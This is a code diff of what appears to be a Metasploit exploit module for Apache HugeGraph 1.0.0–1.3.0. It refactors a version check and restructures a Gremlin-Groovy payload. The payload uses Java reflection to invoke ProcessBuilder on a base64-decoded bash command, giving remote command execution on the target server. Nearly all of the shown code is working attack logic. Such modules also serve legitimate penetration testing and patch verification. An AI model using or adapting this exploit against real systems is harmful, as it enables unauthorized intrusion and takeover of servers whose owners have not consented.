@@ -61,18 +61,14 @@ def check
61
61
return CheckCode ::Unknown ( 'Unable able to determine the version of Apache HugeGraph' ) unless version
62
62
63
63
if Rex ::Version . new ( version ) . between? ( Rex ::Version . new ( '1.0.0' ) , Rex ::Version . new ( '1.3.0' ) )
64
- CheckCode ::Appears ( "Apache HugeGraph version detected: #{ version } " )
65
- else
66
- CheckCode ::Safe ( "Apache HugeGraph version detected: #{ version } " )
64
+ return CheckCode ::Appears ( "Apache HugeGraph version detected: #{ version } " )
67
65
end
66
+ CheckCode ::Safe ( "Apache HugeGraph version detected: #{ version } " )
68
67
end
69
68
70
69
def exploit
71
70
print_status ( "#{ peer } - Running exploit with payload: #{ datastore [ 'PAYLOAD' ] } " )
72
71
73
- cmd = "bash -c {echo,#{ Rex ::Text . encode_base64 ( payload . encoded ) } }|{base64,-d}|bash"
74
- commands_array = cmd . strip . split ( ' ' )
75
-
76
72
class_name = rand_text_alpha ( 4 ..12 )
77
73
thread_name = rand_text_alpha ( 4 ..12 )
78
74
command_name = rand_text_alpha ( 4 ..12 )
@@ -81,9 +77,22 @@ def exploit
81
77
constructor_name = rand_text_alpha ( 4 ..12 )
82
78
field_name = rand_text_alpha ( 4 ..12 )
83
79
84
- formatted_command = commands_array . map { |element | "\" #{ element } \" " } . join ( ', ' )
80
+ java_payload = <<~PAYLOAD
81
+ Thread #{ thread_name } = Thread.currentThread();
82
+ Class #{ class_name } = Class.forName(\" java.lang.Thread\" );
83
+ java.lang.reflect.Field #{ field_name } = #{ class_name } .getDeclaredField(\" name\" );
84
+ #{ field_name } .setAccessible(true);
85
+ #{ field_name } .set(#{ thread_name } , \" #{ thread_name } \" );
86
+ Class processBuilderClass = Class.forName(\" java.lang.ProcessBuilder\" );
87
+ java.lang.reflect.Constructor #{ constructor_name } = processBuilderClass.getConstructor(java.util.List.class);
88
+ java.util.List #{ command_name } = java.util.Arrays.asList(#{ "bash -c {echo,#{ Rex ::Text . encode_base64 ( payload . encoded ) } }|{base64,-d}|bash" . strip . split ( ' ' ) . map { |element | "\" #{ element } \" " } . join ( ', ' ) } );
89
+ Object #{ process_builder_name } = #{ constructor_name } .newInstance(#{ command_name } );
90
+ java.lang.reflect.Method #{ start_method_name } = processBuilderClass.getMethod(\" start\" );
91
+ #{ start_method_name } .invoke(#{ process_builder_name } );
92
+ PAYLOAD
93
+
85
94
data = {
86
- 'gremlin' => "Thread #{ thread_name } = Thread.currentThread();Class #{ class_name } = Class.forName( \" java.lang.Thread \" );java.lang.reflect.Field #{ field_name } = #{ class_name } .getDeclaredField( \" name \" ); #{ field_name } .setAccessible(true); #{ field_name } .set( #{ thread_name } , \" #{ thread_name } \" );Class processBuilderClass = Class.forName( \" java.lang.ProcessBuilder \" );java.lang.reflect.Constructor #{ constructor_name } = processBuilderClass.getConstructor(java.util.List.class);java.util.List #{ command_name } = java.util.Arrays.asList( #{ formatted_command } );Object #{ process_builder_name } = #{ constructor_name } .newInstance( #{ command_name } );java.lang.reflect.Method #{ start_method_name } = processBuilderClass.getMethod( \" start \" ); #{ start_method_name } .invoke( #{ process_builder_name } );" ,
95
+ 'gremlin' => java_payload ,
87
96
'bindings' => { } ,
88
97
'language' => 'gremlin-groovy' ,
89
98
'aliases' => { }
0 commit comments